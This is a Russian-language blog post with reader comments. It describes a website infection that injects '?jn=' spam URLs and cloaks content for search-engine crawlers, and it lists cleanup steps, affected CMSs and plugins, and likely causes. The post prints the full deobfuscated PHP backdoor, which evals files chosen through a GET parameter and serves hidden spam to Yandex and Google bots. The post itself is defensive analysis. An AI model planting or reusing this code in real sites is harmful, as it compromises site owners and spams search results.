Пользователь
0,0
рейтинг
20 декабря 2014 в 15:50

Разработка → Внедрение через URL: www.site.ru/?jn=xxxxxxxx из песочницы

Буквально на днях столкнулся с новым (*?) вариантом спам-вируса для веб-сайтов. Гугл определяет его как «Внедрение через URL».

Описание

На вашем сайте появляются ссылки которых не было и быть не могло — вы, например, четко знаете структуру сайта и оригинальный вид URL, который отличается от «левых» URL. В частности, в индексе поисковиков появляются ссылки вида:
www.site.ru/?jn=xxxxxxxx

Поиск и устранение

Яндекс-Вебмастер пока не реагирует на них, а вот в инструментах Гугла для вебмастеров выдается предупреждение о возможном взломе сайта. Там же даны рекомендации по поиску. К сожалению они довольно общие и конкретный поиск проблемы занимает время. Антивирусы и он-лайн анализаторы сайтов — результата не дают. Только ручками.

Вариант А: Код не обфусцирован

  1. Ищем в исходниках кто и как у нас пользует переменную $_GET['jn']
  2. Далее по коду смотрим кто где гадит (например: \js\swfupload\plugins\jquery\)

Вариант Б: Код обфусцирован

  1. Ищем каталог с файлами, названия которых идут после "?jn="
  2. Ищем подозрительные исполняемые файлы типа images/c0nfv.php
  3. Можно сделать поиск путей где могут быть файлы а-ля "/img/icon/thumb/jquery.php"
  4. Проверить дату изменения конфигов CMS
  5. Рекомендуется проверить на наличие (корректность) файлов base.php — это само тело вируса, код обфусцирован
  6. Проверяем дату jquery.php и сравниваем ее с датой обнаружения вируса по мониторингу инструментов вебмастеров Гугла.

Встречается

  • CMS: Joomla, WordPress, DLE, PrestaShop, HostCMS
  • Plugins: ImageZoomer, SWFupload, BlockCategories
  • Велика вероятность появления практически во всех плагинах, которые используют JQuery и в тех местах, где у админов ручки не дошли до настройки.

Полный код (необфусцированного) зловредного кода под катом.

<?php if(isset($_GET['jn'])){ini_set/**/(strrev("gnitroper_rorre"),0);include "images/c0nfv.php";$uhvuusgp=str_replace('..','',$_GET[$qjkx]);if(is_file($ftdavmbe.'/'.$uhvuusgp)){header('Content-Type: text/html; charset=windows-1251',false);echo eval/**/('?>'.join("",file($ftdavmbe."/$uhvuusgp")).'<?');die;}}if(preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT'])){ini_set/**/(strrev("gnitroper_rorre"),0);include "images/c0nfv.php";if(is_file($ftdavmbe."/db.php")){include $ftdavmbe."/db.php";$jxbecpzx=preg_replace("/[0]*$/","", preg_replace("/\.*/","",(string)sprintf('%f', hexdec(sha1($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])))));$iwtcrjis=substr($jxbecpzx,20,3);if(substr($iwtcrjis,0,1)==0){do{$x++;$iwtcrjis=substr($jxbecpzx,20+$x,3);}while(substr($iwtcrjis,0,1)==0);}include $ftdavmbe."/".$iwtcrjisy[$iwtcrjis];echo mb_convert_encoding($ohjjpibn[72], 'UTF-8', 'Windows-1251');}}?>

Причины взлома


Вариантов, скорее всего, 3:

  • Открытый на запись каталог на сервере;
  • Уязвимость в программном обеспечении, которое работает на сайте, как правило это бесплатные CMS (системы управления контентом). Например, если вы используете устаревшую и небезопасную версию;
  • Взламывают сторонние плагины на сайте (работающие с JQUERY).
@rannia_ptaha
карма
2,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (10)

  • +6
    Антипиар бесплатных CMS? :-)
    По опыту могу сказать, что коммерческие CMS, если их не обновлять и ставить врезные расширения уязвимы не меньше, чем бесплатные аналоги.
    • +1
      А если обновлять и не ставить — меньше?
      • +2
        Я говорил применительно к этой статье.
        В той же Joomla за всю историю было обнаружено 3 или 4 действительно серьезных уязвимости, и они были исправлены буквально на следующий день. Все остальные проблемы с безопасностью были в сторонних расширениях. То есть если поставить Joomla в чистом виде и ее обновлять регулярно, вас вряд ли когда нибудь взломают по вине CMS.
        В WP были проблемы с безопасностью, которые вызывали массовые эпидемии в основном они были вызваны js плагинами используемыми в движке, и самые громкие эпидемии были из-за библиотек используемых в шаблонах сторонних разработчиков.

        Что же касается многих коммерческих CMS, то их просто не пытаются ломать массово из-за, крайне маленькой доли, согласитесь либо Joomla и WP в паре держат больше 50% рынка всех сайтов и дыра найденная может принести взломщикам реальную выгоду, либо какая-нибудь коммерческая CMS которая имеет 0.001% рынка.

        Используя коммерческую CMS особенно не популярную у вас есть шанс избежать массовой атаки каким либо ботом, но вот если кому-то вздумается сломать ваш сайт, то не факт, что он найдет дыру в коммерческой cms. Дыру же в популярной открытой CMS найти достаточно сложно.
        Но еще раз повторюсь, что все это применимо к базовым дистрибутивам, с расширениями для cms уже не так радужно.
        • +2
          Кому нужна Joomla без расширений?)
  • 0
    Кто-нибудь может пояснить, зачем такая сложная схема? Почему не делают просто вставку кода по referrer/useragent?
    Минусы смены урл:
    1) нужно дождаться, пока проиндексирует поисковик (и выкинет старые страницы), за это время владелец сайта может зачистить паразитный код
    2) не работает на своих URL-rewrite (например, в nginx)
    3) могут проснуться поисковики и отметить сайт как вредоносный
    Какие плюсы?
  • 0
    Конечно, плохо, когда роутер у CMS дырявый попадается…
    Если что — закрываем «дыры» правилами mod_rewrite [F] в .htaccess-e…
  • +1
    Статья практически:
    Внедрение через URL
    Внедрение через URL случаются
    Внедрение через URL — это опасно
    Будьте бдительны

    По моему мнению, так нельзя писать.
  • 0
    Я не понял суть уязвимости. Кто-то залил шел на веб-сервер? Причем здесь поисковые системы?
    • 0
      Ну как я понял. Что на сайте появляются ссылки на для яндекса и гугла "/(yandex|google)/i" которые возможно могут вести на левый ресурс, тем самым поднимая ТИЦ того ресурса
  • 0
    Используйте GIT, тогда сразу можно найти изменения, без всяких ненужных поисков.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.